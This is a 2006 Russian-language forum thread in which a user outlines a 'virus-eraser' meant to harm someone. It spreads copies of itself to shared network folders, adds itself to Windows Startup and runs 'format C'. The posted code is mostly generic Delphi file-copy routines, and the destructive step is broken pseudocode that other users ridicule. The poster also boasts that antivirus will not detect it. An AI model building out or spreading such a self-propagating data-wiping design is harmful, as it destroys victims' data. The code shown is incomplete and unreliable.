PDA

Просмотр полной версии : Создание вируса-стирателя


Mrak
29.06.2006, 13:49
мы хотим к примеру нагадить кому нибудь. в том примере чо я щас опишу такая штучка- после использования диск С (или D или еще какой-нить, короче зависит от желания) форматится. А все это очень просто. Так как я все это проделывал на Delphi, то вам просто расскажу идею, а сами вы уже будете писать где вам удобнее.
1. ставим размножение - copy туды-сюды, сканить сеть и в общедоступные папки (через чужие IP) копировать туда сюда.
2. Ставим копирование ярлыка этой штучки в автозагрузку (Пуск-Автозагрузка-Стандартные; C:\Documents and Settings\Mrak\Главное меню\Программы\Автозагрузк а)
3. Прописываем в проге вызов cmd (Run-cmd) и заставляем прописывать format C (или D). "Размножение" выглядит примерно так:
(в Delphi)
function CopyFile(lpExistingFileName, lpNewFileName: PChar;
bFailIfExists: BOOL): BOOL; stdcall;
if CopyFile(PChar(SourcePath), PChar(TargetPath), False) then
// Выполнилась успешно.
else
//там где lpExistingFileName - это значит как называется файл который копируем (E:\Delphi\FormatC)
lpNewFileName-это новое название
то же делаем с ярлыком на автозагрузку
Это был 1-ый способ размножения. есть еще:


2)procedure CopyFile(Source, Dest: string);
var
SrcFile: Integer;
DestFile: Integer;
S: string;
RetCode: Longint;
OpenFileBuf: TOFStruct;
FName: array[0..255] of Char;
begin
StrPCopy(FName, Source);
SrcFile := LZOpenFile(FName, OpenFileBuf, of_Read);
StrPCopy(FName, Dest);
DestFile := LZOpenFile(FName, OpenFileBuf, of_Create);

RetCode := LZCopy(SrcFile, DestFile);
if RetCode >= 0 then
begin
LZClose(SrcFile);
LZClose(DestFile);
end
else
begin
Str(RetCode, S);
MessageDlg('Не могу скопировать ' + Source + ' в ' +
Dest + #13 + 'Код ошибки = ' + S, mtError, [mbOk], 0);
end;
end



3) Копирование методом TurboPascal


type
{Для индикации процесса копирования}
TCallBack = procedure (Position, Size: Longint);

procedure FastFileCopy(const InfileName, OutFileName: string;
CallBack: TCallBack);
const
BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }
type
PBuffer = ^TBuffer;
TBuffer = array [1..BufSize] of Byte;
var
Size : integer;
Buffer : PBuffer;
infile, outfile : file;
SizeDone, SizeFile: Longint;
begin
if (InFileName <> OutFileName) then
begin
buffer := nil;
AssignFile(infile, InFileName);
System.Reset(infile, 1);
try
SizeFile := FileSize(infile);
AssignFile(outfile, OutFileName);
System.Rewrite(outfile, 1);
try
SizeDone := 0; New(Buffer);
repeat
BlockRead(infile, Buffer^, BufSize, Size);
Inc(SizeDone, Size);
CallBack(SizeDone, SizeFile);
BlockWrite(outfile,Buffer^, Size)
until
Size < BufSize;
FileSetDate(TFileRec(outfile).Handle,
FileGetDate(TFileRec(infile).Handle));
finally
if Buffer <> nil then
Dispose(Buffer);
System.close(outfile)
end;
finally
System.close(infile);
end;
end
else
raise EInOutError.Create('File cannot be copied into itself');
end;



4) Копирование методом потока

procedure FileCopy(const SourceFileName, TargetFileName: string);
var
S, T : TFileStream;
begin
S := TFileStream.Create(sourcefilename, fmOpenRead );
try
T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);
try
T.CopyFrom(S, S.Size ) ;
FileSetDate(T.Handle, FileGetDate(S.Handle));
finally
T.Free;
end;
finally
S.Free;
end;
end;

4) Копирование методом LZExpand

uses
LZExpand;

procedure CopyFile(FromFileName, ToFileName : string);
var
FromFile, ToFile: file;
begin
AssignFile(FromFile, FromFileName);
AssignFile(ToFile, ToFileName);
Reset(FromFile);
try
Rewrite(ToFile);
try
if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then
raise Exception.Create('Error using LZCopy')
finally
CloseFile(ToFile);
end;
finally
CloseFile(FromFile);
end;
end;



5) Копирование методами Windows

uses
// !!! важно
ShellApi;

function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var
F: TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result:=ShFileOperation(F) = 0;
end;

// пример копирования
procedure TForm1.Button1Click(Sender: TObject);
begin
if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then
ShowMessage('Copy Failed');
end;



6) Файлы с каталогами

procedure TForm1.Button1Click(Sender: TObject);
var
OpStruc: TSHFileOpStruct;
frombuf, tobuf: array [0..128] of Char;
begin
FillChar( frombuf, Sizeof(frombuf), 0 );
FillChar( tobuf, Sizeof(tobuf), 0 );
StrPCopy( frombuf, 'c:\1\*.*' );
StrPCopy( tobuf, 'c:\2' );
with OpStruc do
begin
Wnd:= Handle;
wFunc:= FO_COPY;
pFrom:= @frombuf;
pTo:=@tobuf;
fFlags:= FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;
fAnyOperationsAborted:= False;
hNameMappings:= nil;
lpszProgressTitle:= nil;
end;
ShFileOperation( OpStruc );
end;


Думаю достаточно.
Процедура запуска программ - begin
Run - command cmd;
write format C;
end;
end.

tclover
29.06.2006, 14:26
это не вирус.

Mrak
30.06.2006, 10:03
tclover
Это Гадящая программа! тем лучше что это не подпадает под строку вирусов- ведь его не засечет никакой антивирус!!!!!!!! подумай умом, ведь что мы называем вирусом? программу заражающую компьютер и наносящая ему или данным вред!

tclover
30.06.2006, 12:58
подумай умом ни за что.
ведь что мы называем вирусом? - Не мы, а Вы. (с)

Alamar
06.07.2006, 03:29
>>ставим размножение - сканить сеть и в общедоступные папки (через чужие IP) копировать туда сюда.


дык это и напиши, и чтоб фаеры не гавкали.....

W!z@rD
06.07.2006, 05:52
Мдя... ты хотя бы copyright оставил! Начал смотреть... Геморрой! Зачем заюзал LZ?! АА потом вспомнил DelphiWorld! :D

Думаю достаточно.
Процедура запуска программ -
begin
Run - command cmd; //объясни что это?!?!
write format C;
end;
end.